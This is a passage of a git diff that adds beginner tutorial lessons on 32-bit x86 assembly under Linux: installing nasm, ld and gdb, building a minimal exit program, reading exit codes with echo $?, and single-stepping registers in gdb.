+ - ./ilk = "don't look at the list, run the one in THIS folder." The folder not being on the list = security.
+☐ nasm assembles → ilk.o (relocatable, half-baked, CAN'T run → "Exec format error").
+ ld → ilk (executable). ld adds: program envelope (headers) + final addresses + stitching the pieces.
+ - Two steps, because: so you can assemble many files separately and combine them at the very end.
+☐ _start isn't magic: not for the worker, for ld. It's ld's default "start" name.
+ - Another name → tell it with ld -e . (nasm doesn't care about the name.)
+ - Once assembled, all names turn into numbers/addresses; the worker never sees _start. (01.5!)
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Where you first used these three commands (`nasm`, `ld`, `./`)
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Meaning is given by the agreement, not the name" — the root of why `_start` isn't magic
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — The ground where the shell, running commands, and the PATH come up
+
+---
+
+**Previous topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+**Next topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
new file mode 100644
index 0000000..8f5e9e2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
@@ -0,0 +1,211 @@
+# 🚀 x86 Assembly — Setup and Your First Program
+
+> Throughout Unit 0 we built up what goes on inside the machine's head without writing a single line of code. That patience now pays off.
+> In this lesson, for the first time, you install the real tools, write your first real program, assemble it, and **run it.**
+> The program will do almost nothing — on purpose. Because the hero here isn't the program, it's the chain itself:
+> how the text coming out of your keyboard turns into a real program the processor runs.
+
+> **This is the first time there's code — but don't be scared.** You don't need to fully understand the asm you'll write just yet; writing a few lines like
+> a **closed box** and seeing that the chain works is enough. What those lines actually do we'll open up one by one in the coming lessons.
+> The only goal of this lesson: get the tools installed, and let you say "I ran a program."
+
+---
+
+## 📋 Table of Contents
+
+- [Three Tools: nasm, ld, gdb](#three-tools-nasm-ld-gdb)
+- [Install the Tools](#install-the-tools)
+- [Write Your First Program](#write-your-first-program)
+- [Write → Assemble → Run](#write--assemble--run)
+- [Did It Work? (Nothing Happened!)](#did-it-work-nothing-happened)
+- [Step by Step, What Happened?](#step-by-step-what-happened)
+- [If You Got an Error](#if-you-got-an-error)
+
+---
+
+## Three Tools: nasm, ld, gdb
+
+In 00 we said this: **you write assembly → a program translates it into machine code → the processor runs those numbers.** Now we're actually installing that "translating program" (and a couple of its friends). We have three tools:
+
+- **`nasm`** — the *assembler* (translator). It turns lines you write like `mov eax, 5` into the numbers (machine code) the processor actually reads. This is our main tool.
+- **`ld`** — the *linker* (combiner). It turns the raw piece nasm produces into a real program the operating system can load into memory and **run**.
+- **`gdb`** — the *debugger* (watcher). It lets you step through a program one instruction at a time and watch what happens inside. In this lesson we're only **installing** it; we'll start using it in [07_gdb_tek_adim](./07_gdb_tek_adim.md).
+
+For now, just keep in mind: **`nasm` translates, `ld` combines, `gdb` watches.**
+
+---
+
+## Install the Tools
+
+Depending on which Linux distribution you use, type **one** of the lines below into the terminal. (If you don't know which one: if you use Ubuntu/Mint, the first; if you use an Arch-based one —CachyOS, Manjaro— the second; if you use Fedora, the third.)
+
+**Debian / Ubuntu / Linux Mint:**
+```
+sudo apt install nasm binutils gdb
+```
+
+**Arch / Manjaro / CachyOS:**
+```
+sudo pacman -S nasm binutils gdb
+```
+
+**Fedora:**
+```
+sudo dnf install nasm binutils gdb
+```
+
+(`binutils` is the package that includes `ld`; it's already installed on most systems, but we listed it just to be safe.)
+
+Once the installation is done, check that it installed correctly:
+
+```
+nasm --version
+```
+
+You should see a line like this: `NASM version 2.16.01`. If you saw it, your tool is ready.
+
+> 💡 `sudo` means "do this with administrator privileges," which is why it may ask for your password. Because **installing** a program is a job that touches the system, it requires privileges — this is exactly the "changing the system requires a password" situation we touched on in 02.
+
+---
+
+## Write Your First Program
+
+Now we'll write your first program. With a text editor (`nano` in the terminal, or VS Code, whatever you use), create a file named **`ilk.asm`** and write exactly this inside it:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 1 ; the number for saying "end the program" (sys_exit)
+ mov ebx, 0 ; exit code: 0
+ int 0x80 ; call the kernel: "do what I said"
+```
+
+Don't worry, we won't dig through it line by line — but knowing roughly what's going on is enough:
+
+- **`section .text`** → means "from here on are the **instructions** the worker will carry out." (The code section of the program.)
+- **`global _start`** and **`_start:`** → the marker telling the worker "start the program **here**." `_start` is where the worker will read the first order. (Recall the sentence from 01: "you tell the worker 'start from this line'.")
+- The **three lines** below → for now a **closed box.** All together they're the way of saying "end the program cleanly." What `mov` does we'll explain in [06_ilk_gercek_program](./06_ilk_gercek_program.md), and what `int 0x80` (i.e. "calling the kernel") is we'll fully explain in [17_sistem_cagrilari](./17_sistem_cagrilari.md). Right now you don't even need to memorize it — just write it.
+
+> 💡 If you're using `nano`: open it with `nano ilk.asm`, type the above, then **Ctrl+O** (save) → **Enter** → **Ctrl+X** (exit). The parts starting with `;` are *comments* (the worker doesn't see them, they're just notes to you); you can skip writing them if you want.
+
+---
+
+## Write → Assemble → Run
+
+Your file is ready. Now we'll turn it into a program the processor can run and then run it. In the folder where `ilk.asm` lives, three commands in order:
+
+**1) Assemble** (asm text → machine code):
+```
+nasm -f elf32 ilk.asm -o ilk.o
+```
+`nasm` reads your file and translates it into machine code. `-f elf32` means "give the output in **32-bit** ELF format" (we're writing 32-bit x86). Result: an intermediate file named `ilk.o` (*object*).
+
+**2) Link** (object → executable program):
+```
+ld -m elf_i386 ilk.o -o ilk
+```
+`ld` turns that intermediate file into a real executable program. `-m elf_i386` means "link as **32-bit** (i386)." Result: a program named `ilk` that you can run.
+
+**3) Run:**
+```
+./ilk
+```
+The leading `./` means "run the `ilk` program **in this folder**."
+
+> 💡 **You might wonder:** *"We're compiling 32-bit; don't I need to install an extra 32-bit library (multilib)? The internet said so."* No — our program uses no library at all, it calls the kernel directly (`int 0x80`). So what comes out is a standalone, self-contained (*statically linked*) 32-bit program; nothing extra is needed. (If we link to the C library later, that's a separate topic.)
+
+---
+
+## Did It Work? (Nothing Happened!)
+
+You typed `./ilk`, hit Enter, and... nothing happened. No text appeared on screen, the prompt came back. **Don't panic — this is exactly what's expected.**
+
+Our program doesn't do anything; it just says "I was born, I immediately ended." We'll teach writing to the screen in [17_sistem_cagrilari](./17_sistem_cagrilari.md). So the absence of output isn't a bug, it's **by design.**
+
+So how will we know it worked? Let's ask the program for its **exit code**. Type this:
+
+```
+echo $?
+```
+
+What you'll see:
+
+```
+0
+```
+
+This `0` means "the program ended **cleanly, without errors**" (0 = no problem). This is the proof that the chain ran from start to finish: you wrote it, it assembled, it linked, it ran, it exited cleanly.
+
+> 💡 **If you're using a different shell:** `echo $?` works in bash and zsh (the defaults on most systems). But some shells like **fish** call this variable `$status` — if you're in fish, `echo $?` gives you an error; use `echo $status` instead (same result). Not sure? If `echo $?` gives an error, that shell uses `$status`; switch to it. (`echo $SHELL` also tells you which shell you're in.)
+
+> 💡 `echo $?` asks "**what was the exit code of the last program that ran?**" For now it's 0, because we wrote `mov ebx, 0` in our program. In [06_ilk_gercek_program](./06_ilk_gercek_program.md) **you** will decide this number — we'll put something else in `ebx` and make `echo $?` report it. Your first "the number I put came out on screen!" moment will be there.
+
+---
+
+## Step by Step, What Happened?
+
+What you just did was actually the picture we drew in 01-04 **becoming real for the first time.** Let's loop back and connect it:
+
+```
+ 1) You wrote a text (ilk.asm) → an order list close to the worker's language
+ 2) nasm translated it to MACHINE CODE → to numbers (like B8 05 00 00 00 from 00) → ilk.o
+ 3) ld turned it into an EXECUTABLE program → into a form the kernel can load → ilk
+ 4) You said ./ilk:
+ - the kernel put the program into memory (the storehouse)
+ - told the worker "start from _start"
+ - the worker carried out the instructions with fetch-do-advance
+ - reaching int 0x80 it said "I'm done," control returned to you (the prompt)
+```
+
+So that fancy phrase "running a program" ([01_bilgisayar_nedir](./01_bilgisayar_nedir.md)) was exactly this: putting your list of orders into memory, telling the worker "start," and it carrying out the list. Now you've done this **with your own hands.**
+
+---
+
+## If You Got an Error
+
+Getting an error on the first try is very likely — and as we said in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md), an error isn't your enemy, it's a **clue.** The most common ones you'll hit:
+
+- **`nasm: command not found`** (or `ld: command not found`) → the tool isn't installed. Go back to the **installation** step above and install the packages.
+- **`ilk.asm:5: error: ...`** → there's a typo in your asm file. nasm tells you **which line** it's on (5 in the example); go to that line and compare it letter by letter with the code above.
+- **`ld: cannot find ilk.o`** → the `nasm` step before the `ld` step didn't succeed (i.e. `ilk.o` was never created). First run the `nasm` command without errors, then `ld`.
+- If a command came back without printing anything (silence) → usually a **good** sign; it means that step finished without a problem. (The worker doesn't talk unnecessarily, remember.)
+
+Don't be afraid of typing a command wrong — worst case you get an error message, you fix it, you try again. That's the usual loop anyway: write → error → read → fix.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Three tools: nasm (asm→machine-code translator), ld (linker), gdb (watcher; we'll use it in 07).
+☐ Install: with apt / pacman / dnf nasm binutils gdb. Verify: nasm --version
+☐ First program skeleton:
+ section .text + global _start + _start: + (closed box for now) 3-line clean exit
+☐ The chain (in the folder where ilk.asm lives):
+ nasm -f elf32 ilk.asm -o ilk.o (assemble: asm → object)
+ ld -m elf_i386 ilk.o -o ilk (link: object → program)
+ ./ilk (run)
+☐ Nothing showing up is NORMAL: the program says "born-then-ended."
+ echo $? → 0 = clean exit (in the fish shell: echo $status). In 06 you'll decide this number.
+☐ 32-bit but multilib NOT NEEDED: our program is library-free, statically linked.
+☐ Error = clue: most of the time either the tool isn't installed or there's a typo.
+☐ This whole chain = the real form of the "write → put in memory → let the worker run it" picture we drew in Unit 0.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Where the "you write → nasm translates → the processor runs" chain is first told
+- [05.5_perde_arkasi.md](./05.5_perde_arkasi.md) — Behind the scenes of the commands you wrote in this lesson (`./`, `nasm`/`ld`, `_start`)
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Putting a value into a register with `mov` and seeing the exit code in `echo $?`
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — Where `int 0x80` (calling the kernel) is fully explained
+
+---
+
+**Previous topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+**Next topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
new file mode 100644
index 0000000..49bb570
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
@@ -0,0 +1,173 @@
+# 🎯 x86 Assembly — The First Real Program: mov and the Exit Code
+
+> The three lines we wrote in 05 were, for now, a **closed box** — we didn't fully know what they did. Now we open the first of those boxes.
+> In this lesson you learn the worker's most basic order: `mov`, that is, **"put this number in that box."**
+> And for the first time, you make **a number of your own choosing** appear on the screen. A small moment —
+> but for the first time you take command, and the machine listens to you.
+
+> **We're writing real instructions now, and this time we know what we're doing.** We'll pull `mov`
+> out of the skeleton from 05 and shine a light on it; we still leave the full insides of `int 0x80` to [17_sistem_cagrilari](./17_sistem_cagrilari.md).
+> In the end `echo $?` will tell you the number you put in — **"8!"** — and in that moment you'll say "I made this machine do something."
+
+---
+
+## 📋 Table of Contents
+
+- [mov: The Worker's First Order](#mov-the-workers-first-order)
+- [What Is an Exit Code?](#what-is-an-exit-code)
+- [Write and Run the Program](#write-and-run-the-program)
+- [Change the Number: You Took Command](#change-the-number-you-took-command)
+- [Can I See Inside a Box Directly?](#can-i-see-inside-a-box-directly)
+
+---
+
+## mov: The Worker's First Order
+
+In [01_bilgisayar_nedir](./01_bilgisayar_nedir.md), when we looked at the kinds of orders the worker takes, we put "**move**" first: *"put this number in that box."* Well, the real name of that order is **`mov`** (from English *move*).
+
+Its syntax is very simple:
+
+```nasm
+mov destination, source ; "put the source into the destination box"
+```
+
+The form you'll use most often is putting a number into a register (a pocket box):
+
+```nasm
+mov eax, 5 ; "put 5 in the eax box"
+mov ebx, 100 ; "put 100 in the ebx box"
+```
+
+Recall, `eax`/`ebx` were the worker's pocket boxes ([04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md)). `mov` is exactly the way to put a value into those boxes — and it's the worker's most-used order.
+
+> 💡 Its name is "move," but what it really does is **"copy / put."** The source is not emptied. For example you can copy from one box to another: `mov ebx, eax` = "put what's in eax into ebx" — eax still keeps its old value. (I tried this: after putting 13 in `eax` and doing `mov ebx, eax`, ebx also became 13, and eax wasn't lost.) We'll see the other, memory-related forms of `mov` in [08_mov_ve_bellek](./08_mov_ve_bellek.md); for now "put a number in a box" is enough.
+
+> 🔑 `mov destination, source` = "put the source into the destination box." This is the only instruction you need to know in this lesson.
+
+---
+
+## What Is an Exit Code?
+
+When a program finishes, it leaves behind a small number: the **exit code**. This is the program's way of saying "I'm done, and here's my one-number summary." There's a convention: **0 = no problem / success**, a nonzero number = "such-and-such a situation/error happened."
+
+Who reads this number? The shell. And when you type `echo $?` (we met it in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md); *if you use fish, `echo $status`*), what it shows you is exactly this: the exit code of the last program that finished.
+
+So where does the program put this number? In the exit operation we use, the exit code is taken **from the `ebx` box**. That is:
+
+```nasm
+mov ebx, 8 ; exit code will now be 8
+```
+
+Well, recall the skeleton from 05: there we wrote `mov ebx, 0`, which is why `echo $?` always said 0. Now we'll replace that 0 with a number **of our own choosing**.
+
+> 🔑 Exit code = the single number a program leaves behind when it finishes (convention: 0 = no problem). On exit, this number is read from the `ebx` box; so `mov ebx, ` determines it. You see it with `echo $?` (fish: `echo $status`).
+
+---
+
+## Write and Run the Program
+
+With an editor, create a file named **`cikis.asm`** and write this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8 ; exit code: 8 ← the number we chose
+ mov eax, 1 ; job to do: "exit" (sys_exit request)
+ int 0x80 ; call the kernel: do the above
+```
+
+You can already read most of these lines:
+
+- `mov ebx, 8` → "put 8 in the ebx box." This will be our exit code.
+- `mov eax, 1` → "put 1 in the eax box." The 1 here is the number that tells the kernel "the job to do is **exit**." (We'll fully explain where these numbers come from in [17_sistem_cagrilari](./17_sistem_cagrilari.md).)
+- `int 0x80` → "call the kernel, do what I prepared above." (Its insides are also in 17.)
+
+These two `mov`s are independent of each other — it doesn't matter which one you write first (in 05 the order was reversed, `mov eax, 1` came first; the result was still the same). What matters is that both are ready before we reach `int 0x80`.
+
+Now assemble, link, and run with the **same chain** as in 05:
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+./cikis
+echo $?
+```
+
+What you'll see:
+
+```
+8
+```
+
+There it is! This **8** on the screen isn't a random 0 like in 05 — it's **the number you put in with `mov ebx, 8`.** For the first time you told the machine a number, and it gave it right back to you.
+
+> 💡 *If you're in the fish shell*, the last line will be `echo $status` (see 05). The result is the same: `8`.
+
+> 💡 **You may be wondering:** *"What if I never write those last lines (`mov eax, 1` + `int 0x80`)? After the worker does `mov ebx, 42`, will it stop on its own?"* No — and the reason matters: **there is no place where the worker stops by itself.** The end of the list doesn't mean "stop." If you don't write the exit, the worker keeps on fetch-do-advance; it reads the **memory garbage** after your last line as if it were an instruction — like a brakeless car, it plunges off the cliff where your code ends. Before long it touches memory it isn't allowed to, and **that's the moment the operating system steps in:** it stops you and kills **only your program.** The terminal says `Segmentation fault`, and `echo $?` gives **139** (meaning "killed by a signal"). I really tried it: `mov ebx, 42` with no exit → `Segmentation fault`. **But the computer is perfectly fine** — the kernel, like a bouncer at the door, throws the misbehaving process out and lets it touch nothing in the system. (Proof against the "will I break something" fear from 02: you can't lock up the machine with an ordinary program.) The lesson's point: **telling the worker "stop" is your job** — that's exactly why the last of those three lines exists.
+
+---
+
+## Change the Number: You Took Command
+
+Now enjoy it. Open `cikis.asm`, replace the `8` with another number — make it `42`, for example:
+
+```nasm
+ mov ebx, 42 ; exit code: 42
+```
+
+Assemble, link, run again (three commands), then `echo $?`:
+
+```
+42
+```
+
+You see whatever you put in. I really tried it: `8 → 8`, `42 → 42`. **You now determine the output** — this is the essence of programming. It looks like a small number, but a big door just opened here: the machine does what you say.
+
+> 💡 **You may be wondering:** *"I put 300 in `ebx` and tried it, but `echo $?` said 44 — why not 300? And what happens if I put in a negative number?"* Because the exit code is **a single byte** ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)): it only holds 0–255, and it **wraps around in both directions** — just like a car's odometer. It overflows upward: `300` doesn't fit, so it rolls over from the top → `300 − 256 = 44`. Below, a negative wraps from the bottom: I tried `mov ebx, -5`, and `echo $?` said **251** (`-1 → 255`, `-2 → 254`, … `-5 → 251`). The name of this trick for storing a negative inside a byte is *two's complement*; we'll fully explain how it works later, in the arithmetic topic ([09_aritmetik](./09_aritmetik.md)). For now: **the exit code is a byte from 0–255, and it wraps around in both directions.**
+
+---
+
+## Can I See Inside a Box Directly?
+
+You may have thought: "I put 8 in `ebx` and saw it with `echo $?`. So if I put something in `eax`, can I see that too?"
+
+Right now you **can't** — and the reason matters: `echo $?` only shows the **exit code**, and that comes only from `ebx`. So your only "window" for now is `ebx` (by way of the exit code). Even if you put 8 in `eax`, `echo $?` won't show it; it always looks at `ebx`.
+
+So what if you want to see inside any box (`eax`, `ecx`, `edx`… ) **at any moment** you like? For that you need a tool: **`gdb`** (recall we installed it in 05). The next lesson ([07_gdb_tek_adim](./07_gdb_tek_adim.md)) is exactly for this: gdb opens all the windows — you watch the value of each box one by one while the program runs. Your "write an instruction → see what changed" moments start there.
+
+> 🔑 Right now the only way to see inside a box is to put it in the exit code (`ebx`) and type `echo $?`. We'll unlock seeing all the boxes whenever you want, with `gdb`, in 07.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ mov dest, source = "put the source into the dest box." The worker's most basic order.
+ - mov eax, 5 → put 5 in eax (number into a box)
+ - mov ebx, eax → copy what's in eax into ebx (source not emptied; "move" is really "copy")
+☐ Exit code = the single number a program leaves when it finishes (convention: 0 = no problem).
+ - On exit it's read from ebx → mov ebx, determines it.
+ - You see it with echo $? (fish: echo $status).
+☐ First meaningful program: mov ebx, + mov eax, 1 + int 0x80.
+ Chain: nasm -f elf32 → ld -m elf_i386 → ./cikis → echo $? → your number!
+☐ Exit code is a SINGLE BYTE (03): 0..255. Wraps in both directions: overflows at the top (256→0, 300→44), a negative wraps from the bottom (-5→251).
+☐ The worker does NOT stop by itself: if you don't write the exit (int 0x80) it runs into memory garbage → Segmentation fault (139). But the kernel kills only the process, the system is fine.
+☐ echo $? shows only ebx (the exit code). To see the other boxes → gdb (07).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Where the "move" order and the "put the result in the exit code" idea were first previewed
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Seeing inside all the boxes (registers) live
+- [09_aritmetik.md](./09_aritmetik.md) — With `add`/`sub`, not just putting anymore, but computing
+
+---
+
+**Previous topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+**Next topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
new file mode 100644
index 0000000..447bdf7
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -0,0 +1,279 @@
+# 🔬 x86 Assembly — Single-Stepping with GDB: Watching Inside the Boxes Live
+
+> At the end of 06 we made a promise: `echo $?` only showed you a **single window** (`ebx`, through the exit code).
+> To see inside all the boxes (`eax`, `ecx`, `edx`…) **whenever you want**, you needed a tool.
+> That tool is **`gdb`** — and in this lesson we open it for the first time.
+
+> gdb lets you **pause the worker at any instruction you choose** and look inside each box one by one. You run an instruction, it stops, you check "what changed?" — then one more instruction.
+> The course's most powerful learning moment begins here: **write an instruction → see what changed.** The machine is no longer a box to you; you can watch inside it.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is gdb Good For?](#what-is-gdb-good-for)
+- [Feeding the Program into gdb and Stopping It](#feeding-the-program-into-gdb-and-stopping-it)
+- [First Look: The Boxes Are Still Empty](#first-look-the-boxes-are-still-empty)
+- [First Step: `si` and "There, It Changed!"](#first-step-si-and-there-it-changed)
+- [eip: Where Is the Worker Right Now?](#eip-where-is-the-worker-right-now)
+- [Round 2: Watching the Copy Live](#round-2-watching-the-copy-live)
+- [Quitting and the Rest of gdb](#quitting-and-the-rest-of-gdb)
+
+---
+
+## What Is gdb Good For?
+
+So far you've written your program, run it, and seen a single result with `echo $?`. But you couldn't see what happened in between — which instruction changed which box and how. The program was a box: input went in, output came out, and the rest was dark.
+
+**`gdb` (*GNU Debugger*)** is what lights up that darkness. It does two things, and in this lesson you need both:
+
+1. **It pauses.** You can freeze the program at any instruction you choose — the worker is standing there, order in hand, and you've said "stop."
+2. **It shows the inside.** The moment it stops, you can read the current value of each box (register).
+
+Combine these two and here's what you get: run an instruction → stop → look at the boxes → one more instruction → look again. You see with your own eyes what the instructions do *one by one*. This is called **single-stepping** (*single-step*).
+
+> 🔑 gdb = the tool for **pausing** the worker and looking inside each box. Single-stepping: run an instruction, stop, look at what changed, repeat.
+
+We already installed gdb back in 05 ([05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md)). You also have a program left over from 06: `cikis.asm`. We start with it.
+
+---
+
+## Feeding the Program into gdb and Stopping It
+
+First, make sure the program from 06 is still neat and tidy. `cikis.asm` was this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and link (the same chain as in 06):
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+```
+
+Now, instead of saying `./cikis`, we open the program **inside gdb**:
+
+```
+gdb ./cikis
+```
+
+You'll be greeted by a prompt that reads `(gdb)` — from now on you'll type commands here. Our first two commands are setup:
+
+```
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+- **`set disassembly-flavor intel`** → this tells gdb to "show the instructions **in the order we wrote them**." (*disassembly* = turning machine code back into readable asm instructions; *flavor* = which writing style it shows them in.) By default gdb uses a different, reversed order — throughout this course we always prefer intel, that is, the order you wrote.
+- **`starti`** → "start the program, but stop immediately at the **first instruction**." The worker has raised its hand *before doing anything at all*, waiting for you.
+
+On the screen you'll see this (I actually ran it):
+
+```
+Program stopped.
+0x08049000 in _start ()
+```
+
+There it is — the worker stopped. `0x08049000` is the **address of the instruction** the worker is currently stopped at (which instruction is up next); we'll get to it shortly. What matters: the program started but **not a single instruction has run yet.** The ideal moment to look.
+
+> 💡 **You might wonder:** *"Why `starti`? Couldn't I just say `run`?"* `run` runs the program **all the way to the end** — and since our program exits right away, it would finish before you could watch anything. `starti` ("start-instruction"), on the other hand, **stops at the first instruction**; that's exactly what we want in order to watch.
+
+---
+
+## First Look: The Boxes Are Still Empty
+
+While the worker is stopped at the first instruction, let's look at the boxes. The command: **`info registers`** (short form `i r`). If you like, give only the boxes you care about:
+
+```
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x0 0
+```
+
+Each line is a box: name on the left, value in hexadecimal in the middle (`0x0`), decimal on the right (`0`). So **right now both eax and ebx are 0.** Makes sense — `mov ebx, 8` hasn't run yet; the worker is still waiting *in front of* that instruction.
+
+> 💡 The value is written twice because it's two representations of the same number: `0x0` (hexadecimal) and `0` (decimal) — back in 03 ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)) we saw that they're the same number. gdb shows both so you can read whichever you want.
+
+---
+
+## First Step: `si` and "There, It Changed!"
+
+Now make the worker run **a single instruction**. The command: **`si`** (*step-instruction* — "advance one instruction"):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x8 8
+```
+
+**There's the moment.** `ebx` was `0` just now, and now it's `8`. You said `si`, the worker ran `mov ebx, 8`, and **you saw the box change with your own eyes.** In 06 we *knew* that `mov ebx, 8` puts 8 into ebx; now we **watched it.** That's the difference: between knowing and seeing.
+
+`eax` is still `0` — because the instruction that changes it (`mov eax, 1`) hasn't run yet; it's up next.
+
+Fire one more `si` so that `mov eax, 1` runs:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x1 1
+ebx 0x8 8
+```
+
+Now `eax` became `1` too, and `ebx` is still `8`. Each instruction touched **only its own box** and left the other alone. You're now watching the worker's "fetch-do-advance" loop frame by frame.
+
+> 🔑 `si` = run one instruction, stop. In between, look with `info registers eax ebx` → you see which box changed. The course's promise of "write an instruction → see what changed" is exactly this.
+
+---
+
+## eip: Where Is the Worker Right Now?
+
+We've seen the values of the boxes. But how do we see **where in the list** the worker is — that is, "which instruction is next"?
+
+There's a box that holds this too: **`eip`** (*instruction pointer* — "instruction indicator"). Inside it sits the **address** of the next instruction. Remember how in 01 the worker's loop was "fetch-do-**advance**" — well, `eip` is the box for that "where." After each instruction the worker advances eip to the next instruction.
+
+To see the next instruction: **`x/i $eip`** ("show the instruction at the address eip points to, as an instruction"):
+
+> 💡 **What's the `$` at the front?** In gdb, when you use a register **inside an expression, because you need its value**, you put a `$` in front of its name: `$eip` = "the address *inside* eip". In the `info registers eax` above there was no `$` — because there we weren't factoring the register into a computation, we were just **listing it by name**. In short: if you're using its value, `$eip`; if you're only naming it, `eax`.
+
+```
+(gdb) x/i $eip
+```
+
+At the very start of the program (right after starti) the output was this:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x8
+```
+
+`=>` means "the worker is here right now" — and that address, `0x8049000`, is the **same address** as the `0x08049000` you saw in the `starti` output above; the extra leading zero is just zero-padding and doesn't change the value. And the instruction you see: `mov ebx,0x8` — **exactly your `mov ebx, 8`.** (`0x8` is 8 in hexadecimal; thanks to `disassembly-flavor intel` the order too is as you wrote it: destination `ebx` first, then source.) When you fire a `si`, the `=>` shifts to the next instruction (`mov eax,0x1`), and one more shifts it to `int 0x80`. **The worker is advancing through the list, and you're watching over its shoulder step by step.**
+
+> 💡 **You might wonder:** *"Why do the addresses jump by 5 each time, `0x8049000`, `0x8049005`?"* Because each instruction takes up **a few bytes** in memory; an instruction like `mov ebx, 8` is 5 bytes. When the worker finishes an instruction, it advances eip **by the length of that instruction** — that is, to the start of the next instruction. How instructions are encoded as bytes is a separate and deep topic; for now the only thing you need to know is: **eip = the address of the next instruction, advancing at every step.**
+
+> 🔑 `eip` = the box holding the address of the next instruction (the worker's "where"). With `x/i $eip` you read the next instruction; the `=>` pointer shows the worker's position.
+
+---
+
+## Round 2: Watching the Copy Live
+
+In 06 there was a claim: `mov ebx, eax` "copies" — it puts the value in `eax` into `ebx` but **`eax` doesn't empty out.** Back then I promised, I said "I tried this." Now **you too will see it with your own eyes in gdb.**
+
+Make a new file named `kopya.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, eax ; COPY the 7 in eax to ebx
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, open in gdb, watch the boxes:
+
+```
+nasm -f elf32 kopya.asm -o kopya.o
+ld -m elf_i386 kopya.o -o kopya
+gdb ./kopya
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First, run `mov eax, 7`:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x0 0
+```
+
+`eax` is now `7`, `ebx` is still `0`. Now the main event — `mov ebx, eax` (the copy):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x7 7
+```
+
+**There's the proof.** `ebx` became `7` (the copy arrived) — **but `eax` is still `7`.** The source didn't empty out. The sentence from 06, "move is really copy," you now don't just *know* — you **see it.** (If you like, finish the program: the final `si`s run `mov eax, 1` and `int 0x80`; `echo $?` — in fish: `echo $status` — says **7**, because on exit the 7 in `ebx` is read.)
+
+---
+
+## Quitting and the Rest of gdb
+
+To quit gdb:
+
+```
+(gdb) quit
+```
+
+(If the program is still mid-run it may ask "kill it?"; say `y`, it only closes that session.)
+
+In this lesson you learned **a single job** gdb does: watching registers by single-stepping. But gdb does far more than this — looking at memory, stopping at a specific place (breakpoint), changing values… These are for now a **closed box**; as you need them, we'll open them right then. Right now the `si` + `info registers` pair you have in hand is your **primary tool** for whenever you don't understand what an instruction does.
+
+> 🔑 Didn't understand what an instruction does? Your rule: open it in gdb, `starti`, then **watch with your own eyes** using `si` + `info registers`. Whenever you get stuck again in this course wondering "what did this do?", your answer is here.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ gdb = the tool for PAUSING the worker and looking inside each box (installed in 05).
+☐ Open the program in gdb: gdb ./cikis
+ (gdb) set disassembly-flavor intel → show instructions in our order
+ (gdb) starti → stop at the first instruction (NOT run: run would race to the end)
+☐ Look at the boxes: info registers eax ebx (short: i r eax ebx)
